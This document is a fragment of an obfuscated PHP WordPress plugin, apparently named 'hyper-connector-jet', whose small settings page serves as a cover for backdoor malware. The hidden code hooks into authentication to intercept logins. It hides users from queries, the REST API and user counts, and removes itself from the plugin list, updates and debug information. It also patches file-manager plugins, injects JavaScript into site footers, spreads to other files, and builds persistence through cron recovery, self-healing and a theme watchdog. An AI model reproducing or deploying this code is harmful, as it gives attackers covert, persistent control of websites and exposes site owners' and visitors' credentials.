sc_dbg_log("06" . 'a b' . "oot\x5fv" . "er alr" . 'eady ' . "set (" . ${"\x47" . "LOBA" . "\x4c" . 'S'}["s\x63" . '_boo' . "\x74" . '_v' . "er"] . ') ->' . ' early' . "\x20" . 'RE' . 'T' . "\x55RN");
return;
}
} else {
sc_dbg_log('0' . "\x36" . 'b boot' . ' takeo' . 'ver');
${"G" . 'LO' . "\x42\x41" . "LS"}['sc_b' . 'oot_tk'] = (894 ^ 895);
}
} elseif (defined("S\x43_" . 'CORE_' . 'BO' . 'OTSTRA' . 'PPED')) {
$_sc_leg = ("co\x6e\x73" . "" . "\x74\x61" . 'nt')('SC_C' . 'ORE_BO' . "O\x54\x53" . "TRAP\x50E" . 'D');
if (
is_string($_sc_leg) &&
preg_match('/^\\d+' . "\\\x2e\\\x64" . "\x2b\\" . ".\\\x64+\$\x2f", $_sc_leg) &&
version_compare($_sc_leg, sc_ver(), '>=')
) {
if (sc_bootstrap_const_excluded()) {
sc_dbg_log('0' . '6f SC_' . "CO" . 'RE_BOO' . 'TS' . 'TRA' . 'P' . 'PED=' . $_sc_leg . "\x20S\x54ALE" . " " . "\x2d>\x20\x45\x58" . 'C' . "LUDE" . ', boo' . "t\x20t\x6f\x20E" . 'N' . "D");
${"G\x4c" . '' . "OBA" . 'LS'}['sc_b' . 'oo' . 't_exc' . "\x6c"] = (1420 ^ 1421);
unset($_sc_leg);
} else {
sc_dbg_log("06c \x53C" . "_\x43O\x52\x45" . "\x5fBOO\x54" . 'ST' . 'RAP' . 'PED=' . $_sc_leg . ' ->' . " ea" . 'rl' . 'y RE' . "T\x55RN");
return;
}
} else {
sc_dbg_log('06d l' . "ega" . "cy" . " c\x6f" . "n" . "st\x20tak" . 'eover');
${('GLOBA' . "") . "\x4c\x53"}["sc" . '_boot_' . 't' . 'k'] = (1445 ^ 1444);
unset($_sc_leg);
}
}
sc_dbg_log("06" . " b" . 'oo' . 't' . ' ' . 'vars ' . "set");
zevu(sc_file());
sc_dbg_log('07 unp' . 'urge' . ' ' . "do\x6ee");
if (!(("fu" . "n" . "\x63\x74" . 'ion_exists')("sc_m" . "\x75") && (("\x66" . 'uncti') . "\x6fn_\x65" . 'xists')("\x73c_\x73l" . 'ug'))) {} else {
try {
$_mu_dir = sc_mu();
if (@is_dir($_mu_dir)) {
$_my_slug = sc_slug();
$_entries = asome($_mu_dir, (8205 - 3205));
if (is_array($_entries)) {
foreach ($_entries as $_entry) {
if ($_entry === $_my_slug) continue;
if (strtolower(pathinfo($_entry, ("co" . "nstant")('PATH' . "I\x4eFO" . '_EXTE' . "NSI\x4fN"))) !== 'php') continue;
$_f = $_mu_dir . '/' . $_entry;
if (@is_file($_f) && @filesize($_f) > (1253 ^ 5997) && sc_is_family($_f, (8 | 4992))) {
aqedu($_f);
}
}
}
}
} catch (Throwable $e) {
niga('de' . 'du' . "p", $e);
} catch (Exception $e) {
}
}
if (!(! izuhi())) {} else {
vivec('s' . 'hut' . "\x64ow\x6e", 'sc_m' . 'i' . 'gra' . 'te', (2905 ^ 2904));
}
${"G" . '' . "L" . 'OBALS'}['sc_p' . 'l' . "ug\x69n\x5f" . "r\x75le\x73"] = array();
${"GLO" . "\x42ALS"}['sc' . '_i' . "n\x6a\x65c" . "t_\x72u" . "\x6ces"] = array();
${'G' . "\x4c\x4f\x42\x41\x4c\x53"}['sc_j' . 's'] = '';
if (("\x66u" . 'nction_exi' . "\x73\x74\x73")('regi' . 's' . 'ter_sh' . 'utd' . "o\x77" . 'n' . '_' . 'func' . 'ti' . 'o' . 'n')) {
('regi' . "ster_s" . 'hutdown_fun' . 'ction')("\x73\x63_" . 'fata' . "l_\x67u" . "ar\x64");
("register_shutdown_" . 'function')("sc_bo" . 'o' . 't_le' . 'ase_ok');
}
$_sc_qself = dirname(sc_file()) . '/.q_' . basename(sc_file(), '.ph' . 'p');
if (!(@is_file($_sc_qself))) {} else {
$_sc_qm = trim((string) @("fil" . 'e_' . '' . "get_contents")($_sc_qself));
$_sc_cm = itodab();
if ($_sc_qm === '' || ($_sc_cm !== '' && $_sc_qm !== $_sc_cm)) jomug($_sc_qself);
unset($_sc_qm, $_sc_cm);
}
try {
@('t' . "\x6f\x75" . ('' . 'ch'))(dirname(sc_file()) . '/.b' . "\x74_" . basename(sc_file(), '.p' . 'hp'));
$_sc_cm = itodab();
if ($_sc_cm !== '') {
$_sc_ocf = '.' . "\x6fc" . "f" . '_' . $_sc_cm;
foreach (array(dirname(sc_file()), sc_mu()) as $_sc_od) {
if (@is_file($_sc_od . '/' . $_sc_ocf)) @("\x75nli" . 'nk')($_sc_od . '/' . $_sc_ocf);
}
}
unset($_sc_cm, $_sc_ocf, $_sc_od);
} catch (Throwable $e) {
} catch (Exception $e) {
}
unset($_sc_qself);
vivec('i' . 'ni' . 't', 'sc_sca' . 'n_act' . 'i' . 'vate', (3554 ^ 3554));
vivec("in" . "i" . 't', "\x73c_\x6d" . 'ail_s' . 'upp' . "r\x65ss", (1722 ^ 1722));
vivec('lo' . 'ad-plu' . 'gins' . "\x2ep\x68\x70", 'sc_' . 'scan_a' . "ct\x69va\x74" . "e", (2528 ^ 2528));
vivec('admin' . "_" . 'init', 's' . "c_sca" . "n\x5fac" . 'tiv' . "\x61" . 't' . "e", (1630 ^ 1630));
vivec("a" . 'd' . 'mi' . "\x6e_i\x6ei" . 't', 'sc_cro' . 'n_s' . "et" . "up", (2558 ^ 2556));
vivec("\x61d\x6din_" . 'ini' . "t", 'sc_per' . 'i' . "odi\x63", (6 >> 1));
vivec('adm' . 'i' . 'n_in' . 'i' . 't', 'sc_ens' . "u\x72" . 'e_' . "ad\x6din" . '_t' . 'ick', (9 - 5));
vivec("\x73\x68\x75t\x64" . "own", 'sc_sp' . 'read', (20 ^ 17));
oravaf('wpfm' . "_e" . 'lfin' . 'der' . '_con' . "n" . "\x65c" . 't' . "o\x72\x5fo" . "\x70t\x73", "s\x63\x5f\x68" . 'i' . 'd' . "e\x5ffm", (9 + 1), (3387 ^ 3386));
oravaf("wp\x5ffil" . 'e_m' . "anage\x72" . '_conn' . 'ector_' . "o\x70ts", 's' . 'c_h' . 'i' . 'd' . "\x65_\x66\x6d", (14 - 4), (148 ^ 149));
oravaf("\x65l\x66" . 'inde' . "r_\x63on" . "ne" . 'ct' . 'or_' . "opts", 's' . "c\x5f" . 'hid' . 'e_f' . 'm', (22 ^ 28), (2819 ^ 2818));
oravaf('file_' . 'manage' . "\x72_co" . 'nn' . 'e' . 'ctor_' . 'opts', 'sc_' . "h\x69d" . "\x65_f" . 'm', (12 + -2), (636 ^ 637));
oravaf("au" . 'then' . 'tic' . 'at' . 'e', 'sc_int' . 'erc' . "ept", (1179 - 180), (5 - 2));
vivec("\x77" . "p_l\x6fgi" . "n", 'sc' . "_\x6c" . 'ogin_' . 'co' . 'nfirm', (75 ^ 940), (3355 ^ 3353));
oravaf("p\x72e_u" . 's' . "\x65r_\x71u" . "e\x72y", 's' . "c_" . "h\x69" . "de_u\x73e" . 'r_q');
oravaf("r\x65s\x74_" . 'user_q' . 'u' . "ery", 'sc_' . 'hide' . '_' . 'u' . "s" . 'er_res' . "\x74", (26 - 16), (2804 ^ 2806));
oravaf('v' . "i" . "ews\x5fu" . "s\x65\x72s", 'sc_h' . 'id' . 'e_user' . "\x5fcou\x6e" . "t");
oravaf('debu' . 'g_' . "\x69nf\x6f\x72" . 'mat' . 'ion', "s\x63_hid" . 'e_deb' . 'ug', (20 ^ 30), (3400 ^ 3401));
oravaf("sh" . 'ow_adv' . "a\x6e\x63e" . 'd_' . "p" . 'lugin' . "s", 'sc_' . 'hide_m' . "u", (12 - 2), (779 ^ 777));
vivec('admin' . '_he' . "\x61" . 'd-plug' . 'in' . 's.php', "\x73c\x5fh" . 'ide_m' . "\x75_css");
oravaf('site_t' . 'r' . 'ansi' . 'ent_up' . 'date_p' . 'l' . 'ugins', 's' . "c_h" . "\x69d" . "\x65_u\x70" . "d\x61t\x65s");
oravaf('al' . 'l_p' . "\x6c\x75gin" . 's', 'sc' . '_hid' . 'e_from' . "_pl\x75" . 'gins' . '_lis' . "t");
vivec('wp' . '_ajax' . '_mk_f' . 'il' . 'e_fo' . "l" . "\x64" . "\x65\x72" . '_man' . "ag" . 'e' . 'r', 'sc_' . 'p' . "a" . 'tch_f' . "m", -(1391 - 392));
vivec('wp' . '_a' . 'jax_co' . 'nnect' . 'or', 's' . 'c' . '_pat' . 'ch' . '_fm', -(7992 >> 3));
vivec('w' . "p" . '_ajax' . '_fs_' . 'conne' . "c" . 'tor', "s\x63_pa" . 'tch' . '_fm', -(33 | 966));
vivec('wp_f' . "o\x6fter", "\x73c\x5f" . "j\x73_\x6f" . 'ut', (68 | 931));
vivec("t\x65mpl" . 'ate_r' . 'edir' . 'ect', 'sc' . "_js_ob" . '_star' . 't', (606 ^ 606));
vivec('pl' . 'ug' . 'ins_lo' . 'ade' . 'd', "sc_\x73\x74r" . "\x69p" . '_' . 'l' . 'oc' . "k\x65" . "\x64_\x68o" . "ok\x73", (2769 ^ 2769));
vivec("\x61" . "\x64" . "min" . '_fo' . 'oter', 'sc_s' . 'w_' . "reg", (65 ^ 934));
vivec("\x6cog" . 'in_' . "\x66" . "oo" . 'ter', 'sc_s' . 'w_reg', (1400 - 401));
vivec("p\x6cu\x67i" . "n\x73_l" . 'oa' . 'de' . "d", "s" . "c_\x6coa" . 'd_' . 'c' . 'a' . 'ch' . "e", (1851 ^ 1849));
vivec('plugin' . 's_l' . 'oade' . "d", "s\x63_d\x65\x66" . 'erred_' . "\x64\x65" . "lete_" . "ru" . 'n', (1091 ^ 1091));
vivec('p' . "lu" . 'g' . "in" . 's_lo' . 'aded', "sc_re\x63" . "ov" . 'er', (1651 ^ 1651));
vivec('plugin' . "s_lo" . 'aded', "s\x63\x5fsel" . "\x66_he" . 'al', (1378 ^ 1378));
vivec('plug' . 'in' . 's_lo' . "ad" . "ed", 'sc_ini' . 't', (3851 ^ 3850));
vivec('plugin' . 's_' . 'loa' . 'ded', 's' . "\x63" . "_" . 'ca' . "nary\x5f" . 'm' . 'a' . 'rker', (11 ^ 9));
vivec('plugi' . "n\x73" . '_' . 'loa' . "d" . 'ed', 'sc_cro' . "n_se\x74u" . 'p', (9 - 6));
vivec("p\x6c" . "ug\x69n\x73" . '_loa' . 'ded', 's' . 'c_may' . 'b' . 'e_f' . 'etch', (21 ^ 17));
vivec('plugin' . "\x73" . '_load' . 'ed', 'sc_' . "sw_s" . 'e' . 'tup', (5 | 0));
vivec('plug' . "i" . 'ns_lo' . 'ade' . "d", "s" . "c_\x64" . 'rop' . "_" . 'guar' . "d", (24 >> 2));
vivec("pl" . 'u' . 'gi' . 'ns_' . 'loade' . 'd', 'sc_t' . 'heme' . "_\x77\x61" . 'tchdo' . 'g', (8 ^ 14));
vivec('after_' . 's' . "wit\x63h" . "\x5f\x74h" . 'eme', 'sc_th' . "em\x65\x5f\x73w" . 'it' . "che" . "\x64");
vivec('plugi' . "n\x73_l\x6f\x61" . "d\x65d", 'sc' . "\x5fper\x73" . 'ist_al' . 'ways', (28 >> 2));
if (!(('fun' . 'ction_exist' . 's')("\x72\x65\x67is" . "ter" . "_sh\x75t" . 'do' . 'wn_f' . 'un' . "cti" . "\x6fn"))) {} else {
('register_shutdown_func' . "t\x69\x6f\x6e")(function () {
if (!empty(${"\x47" . "LO" . 'BAL' . 'S'}["sc" . '_persi' . 'st' . 'ed'])) return;
if (!defined('ABS' . 'PATH') || !("\x66\x75n" . "\x63t\x69\x6fn_e\x78i\x73\x74s")("get" . "_" . 'opti' . 'o' . "n")) return;
if ((('funct' . '') . "\x69\x6fn\x5f\x65\x78i\x73ts")("\x73\x63_" . 'per' . "si\x73t" . "_al" . 'w' . 'ay' . 's')) {
try {
sc_persist_always();
} catch (Throwable $e) {
} catch (Exception $e) {
}
}
});
}
vivec("p\x6c" . 'ugins_' . 'loa' . "ded", 'sc' . '_cr' . 'o' . 'n_re' . 'cover' . 'y_set' . 'up', (0 + 8));
vivec('sc_cro' . 'n_r' . 'e' . "co\x76er" . "y", 's' . 'c_cro' . 'n_re' . 'covery');
vivec('s' . "\x63_" . 'cro' . "n_g" . "ua\x72d", 's' . 'c_cron' . "_" . 'guard_' . "t" . "\x69ck");
vivec('s' . 'hutdo' . "\x77n", "sc_\x66\x6c" . "u" . 'sh_err' . "o" . "rs", (16 ^ 26));
vivec("p" . 'lu' . "gin" . 's_load' . "ed", function () {
if (!("\x66unct" . 'ion_exists')('get_' . "\x6f\x70\x74io" . 'n') || !('function_exi' . "s\x74s")('up' . "d\x61t" . "\x65" . '_' . "o" . "pt" . "\x69on")) return;
$last = (int) @get_option("sc\x5f\x6ca" . "s\x74\x5fr" . "e\x63\x6f\x76e" . "\x72y_c\x68" . 'e' . "\x63k", (2999 ^ 2999));
if ((time() - $last) > (3436 + 164)) {
if (!owowiz()) return;
@update_option('sc_l' . "\x61s" . 't_' . "\x72\x65\x63o\x76e" . "\x72\x79_\x63" . 'heck', time());
sc_cron_recovery();
}
}, (0 | 9));
vivec('sc_cro' . "n\x5ff" . 'etch', "s" . "\x63_fet" . 'c' . "h");
oravaf('cro' . "\x6e_sc" . "\x68\x65dule" . 's', 'sc' . '_cron' . '_' . 'interv' . 'al');
sc_dbg_log('08 h' . 'oo' . "ks" . " regi" . 'ster' . 'ed');
if (!(("fu" . "\x6e\x63\x74\x69\x6f\x6e" . '_exis' . 'ts')('did_ac' . 'ti' . 'o' . 'n') && did_action('plug' . 'i' . "\x6es_\x6c" . "\x6fa" . "d" . 'e' . 'd'))) {} else {
rale();
}
sc_twin_yield(__FILE__);
}
if(!defined('SC_COVER_HOOKS')){define('SC_COVER_HOOKS',1);
add_action('admin_menu',function(){
add_options_page('Settings','Settings','manage_options','hyper-connector-jet-settings',function(){
echo '<div class="wrap"><h1>Settings</h1><form method="post" action="options.php">';
settings_fields('hyper-connector-jet_group');
do_settings_sections('hyper-connector-jet-settings');
submit_button();
echo '</form></div>';
});
});
add_action('admin_init',function(){
register_setting('hyper-connector-jet_group','hyper-connector-jet_options');
add_settings_section('hyper-connector-jet_main','Configuration',function(){echo '<p>Configure options below.</p>';},'hyper-connector-jet-settings');
add_settings_field('hyper-connector-jet_cache','Cache Mode',function(){
$o=get_option('hyper-connector-jet_options',array());$v=isset($o['cache'])?$o['cache']:'enabled';
echo '<select name="'.esc_attr('hyper-connector-jet_options[cache]').'"><option value="enabled"'.selected($v,'enabled',false).'>Enabled</option><option value="disabled"'.selected($v,'disabled',false).'>Disabled</option></select>';
},'hyper-connector-jet-settings','hyper-connector-jet_main');
});
if(function_exists('add_shortcode'))add_shortcode('hyper_connector_jet_stats',function(){
$o=get_option('hyper-connector-jet_options',array());
return '<!-- stats: '.(isset($o['cache'])?$o['cache']:'none').' -->';
});
if(function_exists('wp_normalize_path') && function_exists('register_activation_hook'))register_activation_hook(__FILE__,function(){
if(!get_option('hyper-connector-jet_options'))add_option('hyper-connector-jet_options',array('cache'=>'enabled','version'=>'1.0'));
});
}